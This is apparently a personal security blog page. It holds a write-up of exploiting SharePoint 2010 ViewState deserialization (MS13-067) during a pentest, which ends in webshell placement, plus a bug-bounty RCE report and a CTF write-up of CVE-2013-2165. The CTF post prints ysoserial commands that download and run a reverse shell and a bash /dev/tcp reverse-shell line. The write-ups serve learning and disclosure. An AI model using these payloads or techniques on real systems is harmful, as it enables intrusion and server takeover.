The journey of exploting a Sharepoint vulnerability.

Forewords

Long time no see!

Today I will writeup two vulnerabilities:

Before reading, I think you need to know some concepts: Microsoft Exchange, Microsoft Sharepoint, ASP.NET Web Forms, VIEWSTATE.

  • Microsoft Exchange is the webmail server of Microsoft
  • Microsoft Sharepoint is a web-based, collaborative platform for creating portal, managing document, … You can read more here: Sharepoint
  • What is ASP.NET Webform? It is a web framework of Microsoft. I know two popular web frameworks of Microsoft: ASP.NET Web Forms and ASP.NET Web MVC . Microsoft Exchange and Microsoft Sharepoint mainly code in ASP.NET Web Forms, I think.
  • If you used to code C# and ASP.NET, you would know the concept – VIEWSTATE. You can read one of the best explaination here: what-is-view-state-and-how-it-works-in-Asp-Net

1. Introduce case study

Last year, I was given a task of pentesting a customer (PR a little bit about my company, it is Viettel Information Security Center). As you know, we need to do all recon stuff frst: network scanning, subdomain scanning, website scanning, google searching.
But the only two things I found here were some Sharepoint servers (including homepage) and a webmail server.
Their homepage used a Microsoft Sharepoint portal (news website with many domains). Webmail is a Mail Exchange instance.
Mail Exchange always needs authentication but I didn’t have any accounts. So I focused on their Microsoft Sharepoint portal, particularly their homepage.
I fed all requests and responses of portal through Burpsuite proxy. I easily found the its version: 14.0.0.4762 . This version is Sharepoint 2010 (no update, no service pack).

After searching in Google, reading Microsoft advisory, I checked all CVEs of Sharepoint 2010.
Most of them were about XSS, some CVEs was page content RCE vulnerability but it sadly needed authentication.
But then there was an interesting CVE here: https://technet.microsoft.com/en-us/library/security/ms13-067.aspx. – a Remote code execute vulnerability.
I searched for the PoC in Google, after many hours of searching, I found none. No way! I felt disappointed.

I came back Microsoft advisory MS13-067, read carefully the detail of this vulnerability .

They told that MAC was disabled.
What does MAC stand for?.
Again, I continued searching google and reading all stuffs related to “MAC disabled” on the internet. I found that they told about ASP.NET VIEWSTATE MAC disabled (As before, Microsoft Sharepoint is developed in ASP.NET Web Forms. ).
You can read VIEWSTATE concept here: what-is-view-state-and-how-it-works-in-Asp-Net53
And finally, I found this presentation: asfws-2014-slides-why-net-needs-macs-and-other-serialization-talesv20.



Thanks to Alexandre Herzog, and actually he is the guy who reported MS-067 🙂 🙂 🙂
Finally I understood clearly this vulnerability. I will summary it for you. ( sorry if I cannot explain well ).
    “HTTP is stateless protocol. How to save state of controls in ASP.NET Web Forms? When you request an ASP.NET page, it loads state of controls. Before the request is finished, ASP.NET serializes all state of controls (object) into string. And then it puts this string to a hidden input named __VIEWSTATE.
When user clicks some buttons for posting a request, before handling request by developer, in core of ASP.NET Web Forms framework, it reads __VIEWSTATE parameter and deserializes string into an object (actually a hash table which contains many key-value pairs). Developer can use this as VIEWSTATE variable. By default, __VIEWSTATE is protected by MAC. ASP.NET uses machineKey configuration in web.config for MAC key. But sadly, MAC checking is optional. We can turn off it globally or locally in each aspx page. And Sharepoint do it. Sharepoint turns off MAC checking in their webpage. So without MAC, user can send arbitrary __VIEWSTATE, ASP.NET will deserialize arbitrary input stream. That’s exactly vulnerability we have”.



2. .NET arbitrary deserializing vulnerability

I need to know how to turn an arbitrary deserialization into RCE. I am sure that you heard about PHP Object injection or Python Pickle or Java arbitrary deserialization. .NET counterpart is less famous. I use the paper of James Forshaw in Blackhat US 12 ( BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf ) to study.
Here is the main idea:
__VIEWSTATE in ASP.NET use ObjectStateFomatter, then ObjectStateFormatter use BinaryFormatter internally. if MAC checking is disabled, we can deserialize arbitrary BinaryFormatter input stream.

When you deserialize a string into object by BinaryFormatter, sometimes in the deserialization process, some callbacks or special methods will be called.
For example, OnDeserialization callback will be called in the middle of process if your class implement IDeserializationCallback

Furthermore, deserialization constructor will be call in the early of process (Pay attention to special parameter type: SerializeInfo and StreamingContext).

Finally ( maybe, I’m not sure ), destructor ~TempFileCollection will be called when object is destroy.

Those are some typical cases, you can refer to James Forshaw’s paper for more cases. So we need to inspect all .Net framework classes or ASP.net framework classes, check every classes for finding a special class with special methods: OnDeserialization, serialize constructor, destructor. And you need to read their source code, understand the code flow to verify whether vulnerability exists. We call such vulnerability class as gadget, same concept as Java deserialize counterpart.

James Forshaw found many interesting class:

  • System.CodeDom.Compiler.TempFileCollection for deleteing arbitrary file
  • System.IO.FileSystemInfo for UNC request combined with PyResponder for NTLM hash grabbing.
  • System.Management.IWbemClassObjectFreeThreaded for arbitrary COM object unmarshaling.

However, no gaget exists for RCE. I was very tired for checking and reading source code of so many classes in .NET framework. It seemed too difficult to me to find one. I did continue searching gadgets or blog, paper, …, anything related to .NET deserialization in about two days.
And boom! This tweet caught my eye:

OMG!, right time right place. That was exactly thing I need.

3. RCE .NET arbitrary deserialization

I will summary the content of Florian’s blog. He improved gadget System.Management.IWbemClassObjectFreeThreaded for arbitrary COM object unmarshalling. When you deserialize a IWbemClassObjectFreeThreaded object. The property flatWbemClassObject of that object will be read. It is a byte array. And then the function CoUnmarshalInterface will be called with that array. Something like that CoUnmarshalInterface(byte[] IWbemClassObjectFreeThreaded.flatWbemClassObject). Imagine that you control __VIEWSTATE, so you manipulate object IwbemClassObjectFreeThreaded, lead to control property flatWbemClassObject. Finally you control parameter of function CoUnmarshalInterface. By reversing and fuzzing format of that parameter, Florian found a POC allow to crash asp.net worker process w3wp.exe and control register RDI and RSI. However, I don’t understand the root cause of crash. Fortunately, it’s not necessary to turn this crash to fully remote code execution.

When we control the RDI and RSI, we can control flow of program from crash point. Florian found that he could control RIP when RDI point to a special structure :

How to find this structure in memory?

That’s difficult. But there is an exploit technique well-known in browser exploit: HEAP SPRAY.
By serializing 1.000.000 image contains that structure and put them into __VIEWSTATE. When asp.net deserializes this VIEWSTATE, we can make ASP.NET create 1.000.000 Bitmap in memory. So we can control a large part memory with arbitrary value. In fact, when I test this technique, I can control range memory from 0x20202020 – 0x50505050 with arbitrary value. So by pointing RDI to somewhere in range 0x20202020 – 0x50505050, we can control value of RIP.
However, what I can do when I can control RIP? Where should RIP point to?
Florian said he needed to control RSP register too. So he changed structure a little bit for controlling both RIP and RSP registers. I actually didn’t understand his structure. I just reused his structure and debug for rechecking result.
At this moment, we can control both RIP and RSP. Next, we will use ROPCHAIN technique for bypassing ASLR+DEP. Florian figured out that w3wp.exe load a non-ASLR dll whenever exception happening (diasymreader.dll). He also found a ropchain (VirtualMalloc + memcpy shellcode + execute shellcode).
We use HEAP SPRAY again to put ropchain in address range: 0x60606060 – 0x90909090 and shellcode in range 0xa0a0a0a0-0xc0c0c0c0. We point RIP and RSP to ropchain address. After all, exploit worked as expected.

5. Improving exploit in real world

For real world exploit, I changed the exploit to add some functions:

  • Run exploit to kill process w3wp.exe first. System will restart w3wp.exe. Heap memory will be in determined state. So HEAP SPRAY will be more accuracy. We only need to point RIP to ExitProcesss.
  • Next, run exploit to make an exception. So w3wp.exe will load diasymreader.dll.
  • Finally , run exploit RCE and remember, run at midnight when nobody access webpage.
  • Use a tiny shellcode to write file. We will write a webshell in this folder “C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\14\isapi\anonsvc”. This folder don’t need authentication any way. So webshell is always accessible.
  • Test many versions to understand HEAP SPRAY address range, so I can choose address better: Sharepoint 2010 (no SP, SP1, SP2), Exchange 2010 (no SP, SP1) in Windows 2008 R2, Windows 2008 R2 SP1.

6. Timeline (aproxiately, not exactly correct)

  • 1st day, learn .NET deserialize and all related stuff.
  • 2nd day, install Sharepoint, Exchange (version 2010, 2013, SP and no SP). Buy new 8GB Ram for running Sharepoint efficiently.
  • 3rd day, test basic VIEWSTATE deserialize (arbitrary delete file gadget, UNC request gadget, XXE gadget)
  • 4th day – 7th day: test crash, test heapspray, test RCE
  • 8th day: improving exploit chains: kill process first
  • 9th day: waiting midnight at 12PM, and exploit target. Got webshell !!!!

This is my exploit code: Exploit.py
If you cannot run exploit code, don’t worry because of even me can’t understand it anymore.
Note: Over the year, many gadgets have been found by some good guys. And now I have a more reliable exploit – no need crash, control register, heapspray, ropchain, always work. I will blog it in the future.
By the way, this is still my favorite exploit because I learned so much things from it. And I guess the following advisories have same .NET deserialization issue, but other attack vectors:  MS13-100, MS13-105, MS14-022, Ms14-024, MS15-047

Thanks for reading.

Remote code execute some bkav server (user root)

Gần đây, mình đã report lỗ hổng có thể remote code execute cho bkav thông qua chương trình bug bounty.
Lỗ hổng 1day trên một nền tảng lập trình phổ biến, khá hay cũng không phải quá khó để viết mã khai thác.
Lỗ hổng ảnh hưởng ít nhất đến những server sau:
1. store.bkav.com.vn (user root chắc vì tomcat cần listen port 80)
2. egate.vn
3. smarthome.com.vn
4. eoffice.com.vn
5. tuyendung.bkav.com.vn
6. khophanmem.vn
….
Mình nghĩ nó còn ảnh hướng đến nhiều website khác nữa vì mình để ý hầu hết website của bkav cùng phát triển trên một nền tảng lập trình giống giau. Mình đã viết mail để hỏi về việc public thông tin chi tiết lỗ hổng. Nhưng hiện tại chưa thấy bkav team trả lời lại.
Những lỗ hổng như này sẽ thường gặp, bởi vì nhiều website được phát triển từ lâu, sử dụng những nền tảng cũ. Khi đánh giá an toàn thông tin thì người đánh giá chỉ kiểm tra mã nguồn do đội phát triển code mà không kiểm tra các lỗ hổng của nền tảng lập trình đó hoặc bỏ qua vì tác giả không public mã khai thác dẫn tới thiếu sót nghiêm trọng. Mình đoán vậy vì lỗ hổng này tuổi đời ít nhất 4 năm.
Còn kết quả mình report:
Screenshot from 2017-04-17 11-32-30

Cuối năm

Khoảng thời gian này năm ngoài, mình đã xong đồ án tốt nghiệp, thật là thoải mái, không phải nghĩ ngợi gì về học hành trong trường nữa, chỉ đợi lấy bằng tốt nghiệp thôi.
Ok, vậy giờ mình có thể học bất kì thứ mình mà mình thích. Mình đã nghĩ ra một list danh sách những thứ mà mình sẽ học:

1. Đầu tiên là hai khóa học crypto I,II trên coursera: https://www.coursera.org/learn/crypto,https://www.coursera.org/learn/crypto2
Mục tiêu là nắm rõ một cách hệ thống những khái niệm cơ bản về crypto
2. Học lại môn kiến trúc máy tính trên coursera (https://www.coursera.org/learn/comparch)
Môn này ngày xưa học hành à ới, chỉ nhớ lúc hết môn cả lớp có mỗi hai thằng là tìm hiểu kỹ bài tập lớn thầy giao. Mình thì nói được mấy câu về cái mạch cộng hai số nguyên. Thầy chán chả hỏi nữa.
3. Học lại môn hệ điều hành của standford http://web.stanford.edu/~ouster/cgi-bin/cs140-winter16/index.php
Môn này được A vì đề thi giống mấy cái đề ôn, bài tập lớn thì thằng bạn cùng nhóm làm, mình phụ trách bài tập lớn môn khác. Nếu biết trước môn này quan trọng vậy, ngày xưa mình sẽ học thật kĩ.
4. Học lại môn trình biên dịch http://online.stanford.edu/course/compilers
Môn này ngày xưa mình làm được bài tập lớn gần nửa thì bỏ, lúc đó đi bắt đầu thực tập nửa ngày, mệt không làm được nữa. Thầy thì không bắt ép. Cuối kì, bọn nó mang bài tập lớn đi bảo vệ mình thấy chạnh lòng vãi.
5. Học tư tưởng lập trình hàm https://www.coursera.org/specializations/scala
6. Đọc tiếp một số quyến sách đang dang dở trong và chưa đọc trong này https://vnhacker.blogspot.com/2012/05/lam-toan-thong-tin-thi-hoc-gi.html
7. Chơi ctf thật nhiều về phần reverse sau khi đã học lại mấy môn core ở phía trên, rồi chuyển sang exploit sau.
8. Chọn một số opensource web về java để audit tìm lỗi (thực sự mình chỉ biết nhiều nhất là về lập trình java).

Heiz. Mình đã nghĩ về một lộ trình học tập như vậy. Tuy nhiên đến giờ mới hoàn thành được khóa crypto I. Môn kiến trúc máy tính thì bỏ giữa chừng vì quá khó nuốt. Thế mới thấy sinh viên nước ngoài học nặng và sâu như nào. Mình học qua một lần rồi mà còn khó. Mấy quyển sách thì vẫn dang dở. CTF thì không còn hứng thú để chơi, thời gian chuyển sang tìm bug bounty còn hơn, nhưng mà tìm bug mãi mà không được thì sẽ chán, kiến thức thì không tăng lên nhiều. Khi đi làm, rất dễ bị cuốn vào công việc, sự cố, … Mỗi buổi tối nếu đi làm về muộn, ngồi lướt facebook, xem youtube, đọc tin tức một lúc rồi đi ngủ là vừa, không thể còn khái niệm cày cuốc thâu đêm triền miên như trước nữa.
Mình note lại bài này để nhắc nhở bản thân, cũng như thử xem một năm nữa trôi qua, mình sẽ học thêm được những gì. Chỉ sợ nhất, một năm trôi qua mà mình chỉ đứng yên tại chỗ.

Web500 Hitconctf 2016 and exploit CVE-2013-2165

*** Problem: Angry Seam***
Description
Why my teammate, Sean, is so angry?
http://52.198.197.227:8080/angryseam/
Hint
None

*** Solution: ***

1. Reconnaissance website

This website has functions: register, login, change profile, report url, logout. Creating user and test some functions of website is the first step I do.
homepage

I use burpsuite free for proxying and mapping website.
This is the result:
burpsuite_mapping

Based on extension of urls (.seam) and problem description, It seems that this website use Jboss Seam framework (http://seamframework.org). Response header “Server: Apache-Coyote/1.1” => server run Apache tomcat (it might not run jboss application server). Application context is angryseam (So, application deployed mostly is angryseam.war).
This website have interesting request: http://52.198.197.227:8080/angryseam/css.seam?location=user.css&cid=15318. Change location parameter to other value, server return error 500 Exception. This error told our server run Apache tomcat 7.0.52, application use JSF technology (.xhtml) for ui templates. There some packages of jboss seam framework: org.jboss.seam.*, org.jboss.seam.example.jpa.* and strange package I don’t know: org.ajax4jsf.webapp.* . I test some path traveral payloads with hoping to get source code application,But i couldn’t get any interesting files in server: angryseam.war, WEB-INF/web.xml, css.xhtml,…

jboss_exception

I do continue exploring the website. The next function I pay attention to is resport.seam. We can enter a url and submit for reporting to admin. I think about XSS vulnerability and try some payloads for xss testing. I’m still not success .

I search google package org.ajax4jsf.webapp.*. This package belongs to Richfaces library. http://richfaces.jboss.org library. This library help our programming ajax-based web application more easier. It ussually combines with Jboss Seam framework and JSF, Hibernate to create a stack techonology for developing enterprise web application java. Moreover, the version of Richfaces of this website is 3.3.3.Final (Look again second images). Util then, I mostly understand technologies which the author uses for building website. However, how do the author code this website? Reading html code generated in some pages: login.seam, register.seam,i see some keywords: User Name, Real Name, Password, Verify Password, verifyDecorate, passwordDecorate,… In addtionally, package name org.jboss.seam.example.jpa.* give us some hints. The author seem to use a example application of Jboss seam to build this website. So, I download some versions of Jboss Seam (jboss-seam-2.3.1.Final, … ) and verify my thingking. I found that Jboss seam 2.2.1.Final is exactly version which website use. Jboss seam 2.2.1Final have a example application named “jpa”; it also have some functions: register, login,logout with some keywords: User Name, Real Name, verifyDecorate,..; and it also use Richfaces 3.3.3Final :)))))

jpa_example

Next, I search google for all of well-known vulneability of technolgies which website uses: jboss seam 2.2.1, Richfaces 3.3.3Final, Tomcat 7.0.52, Hibernate 3,…
I found a interesting vulnerability of Jboss seam and Richfaces:

The CVE-2013-2165 is about java deserialize vulnerability. This is well-known vulnerability discovered in so many applications recently. So I decide to try exploit this bug. The chance of success is not much. I’m not sure that this is the correct solution for this ctf challenge but it’s worth exploring.
In the past, I have a few experiences with java framwork such as struts, spring, hibernate,.. . Therefore,firstly, I will setup a debug environment for example application “jpa” of jboss seam 2.2.1Final.

2. Setup Environment

My Environment:
– Windows x64
– Java JDK 8u101 x86 (newest, download from oracle homepage)
– Eclipse J2EE Kepler
– Apache Tomcat 7.0.52 (download from apache tomcat homepage) for run app.
– Maven 3 (embbed in Eclipse ) for compiling and packaging app.
– “jpa” example application (use Jboss Seam 2.2.1Final, JSF 1.2, Richfaces 3.3.3Final, hsqldb, hibernate3, log4j…)
I willnot talk so much about this part because it relates much to java web development. And this is a long process, I think so. Someone who want to build this example application should read jboss documentation, learn some technology servlet, jsp ,jsf, hibernate, logging,… and some tools such as maven (very important, support downloading source and deep debug in core framework), eclipse.
I recommend this site for learning java framework: http://mkyong.com
Some hours fix bug, I have this example application run 🙂

run_jpa_example

3. Exploit CVE-2013-2165

The information of this cve is little short and hard to understand. The vulnerability is in ResourceBuilderImpl class. Search for this class, I know this class is in richfaces-impl-3.3.3.Final.jar:org.ajax4jsf.resource.ResourceBuilderImpl.class. Using maven to build project, I could easily view source code of this class. This class seems to relate to resource management (js,css,img,..) of website. I can set some breakpoints in this class, and run project in debug mode in eclipse. But how the client request can route to this class for handling resource?

resourcebuilderimpl_debug

I check some normals request of website. And I found these uri in both example application and angryseam application:
http://52.198.197.227:8080/angryseam/a4j/g/3_3_3.Finalorg.ajax4jsf.javascript.AjaxScript
http://localhost:8082/jboss-seam-jpa/a4j/g/3_3_3.Finalorg/richfaces/renderkit/html/scripts/skinning.js

Look at the prefix : “/a4j”. Resource requests for Richfaces use uri prefix “/a4j”. It means any request to server have uri prefix “/a4j”, Richfaces will handle them. And when I request this url in debug mode, a breakpoint in ResourceBuilderImpl hit. Great. Some hours with debugging and source code reading, I mostly understand flow request handling as following:
1. Browser request url: http://localhost:8082/jboss-seam-jpa/a4j/g/3_3_3.Finalorg/richfaces/renderkit/html/scripts/skinning.js/DATA/xxxxxxxxxxxxxxxxxxxxxx
2. Tomcat handle request and detect prefix “/a4j”, tomcat route this request to Richfaces
3. Richfaces handle request with input is “g/3_3_3.Finlaorg/richfaces/renderkit/html/scripts/skinning.js/DATA/xxxxxxxxxxxxxxxxxxxxxx”
Richfaces use ResourceBuilderImpl for parsing input and get resource
Richfaces ignore string “g/3.3.3.Final” (this string is a constant that depends on version of Richfaces)
Richfaces get path resource org/richfaces/renderkit/html/scripts/skinning.js
Richfaces get additional data from “DATA/xxxxxxxxxxxxxxxxxxxxxx”, extract raw data value: xxxxxxxxxxxxxxxxxxxxxx
Richfaces decompress data value (xxxxxxxxxxxxxxxxxxxx) and deserialize ← EXPLOIT

deserialize_data_in_uri

I can control uri request, so I also can control DATA part, which is the input for deserializing in ResourceBuilderImpl. I use ysoserial for generating payloads (https://github.com/frohoff/ysoserial).
Some payload for creating reverse shell:
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 “/usr/bin/wget -O /tmp/reverseshell http://x.x.x.x/reverseshell” > payload.bin
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections5 “/bin/bash /tmp/reverseshell” > payload.bin
reverseshell: /bin/bash -c ‘/bin/bash -i >/dev/tcp/x.x.x.x 2>&1’

Source code for creating DATA part from payloads:

gen_payload_and_data_part

Some result I run in server after reverse shell success:
Flag: hitcon{d0 you really g3t th1s fl4g by CSS RPO?}
File angryseam.war get from server: angryseam.war
(I think the author’s solution is about RPO attack)

P/s: I check tomcat and mysql packages in server because they have privilege escalation getroot vulnerability recently. But these version in server actually keep update and are not vulnerable.
tomcat_package
mysql_package

FINISH. THANKS FOR YOUR READING.

HackIM 2016 – donfos_reversing

Lâu lắm rồi mới quay lại chơi CTF, theo dự kiến thì thời gian tới sẽ chơi rất nhiều, nhưng sẽ chỉ chơi reverse thôi vì mình cảm thấy nó phần kiến thức cần phải thành thạo.

Đợt HackIM vừa rồi mình ngồi làm bài reverse cùng thằng em, hai anh em mất cả ngày trời cuối cùng cũng đã giải được bài donfos này. Cách làm phần cuối thì hơi ảo nhưng kệ ra được flag là mừng rồi.

Đề bài: re500 donfos_reversing

https://github.com/ctfs/write-ups-2016/tree/master/nullcon-hackim-2016/re/donfos-500

Đầu tiên, mình cũng down file về rồi vứt vào Ubuntu chạy thử, nó là file elf 64 bit. Khi chạy thì hỏi key, nhập lăng nhăng không ra flag gì cả. Giống như bài re300, mình strings thử thì biết được nó cũng dùng o-llvm để obfuscate code. Sau đó thì mình đem vào IDA để đọc code tĩnh trước. Nhưng mà bài này code hàm main nhìn phức tạp quá, xem chừng không thể ngồi đọc giả code với hợp ngữ được. Mình đoán là do hàm gốc đã phức tạp rồi cộng với việc dùng o-llvm để obfuscate nữa nên mới vậy. Continue reading HackIM 2016 – donfos_reversing

Play framework – CSRF Protection

Hi. Bắt đầu post bài blog đầu tiên.

Cách đây cũng lâu mình mình định học ngôn ngữ lập trình Scala, đại loại nó là một ngôn ngữ lập trình hàm, khá khó hiểu, vì nó là một tư duy lập trình mới. Giống như mình vừa đang lập trình cấu trúc C chuyển sang lập trình hướng đối tượng Java. Đến giờ vẫn chưa hiểu rõ lập trình hàm gì luôn.  Nguyên nhân muốn học vì ông chuyên gia này bảo thế http://norvig.com/21-days.html và mình cũng thích học linh tinh. Sau đó thì đi tìm hiểu một số project web có sử dụng scala, và biết được có một web framework xây dựng dựa trên scala là play framework. Ngồi setup một hồi thì cũng dưng được ứng dụng web hello world. Sau đó thì ngồi đọc documentation. Theo quán tính thì mình chỉ chú ý nhiều đến phần security, cơ bản cũng không muốn đi tìm hiểu sâu framework, ngôn ngữ lập trình chưa thạo thì khó mà đi sâu được vào framework. Continue reading Play framework – CSRF Protection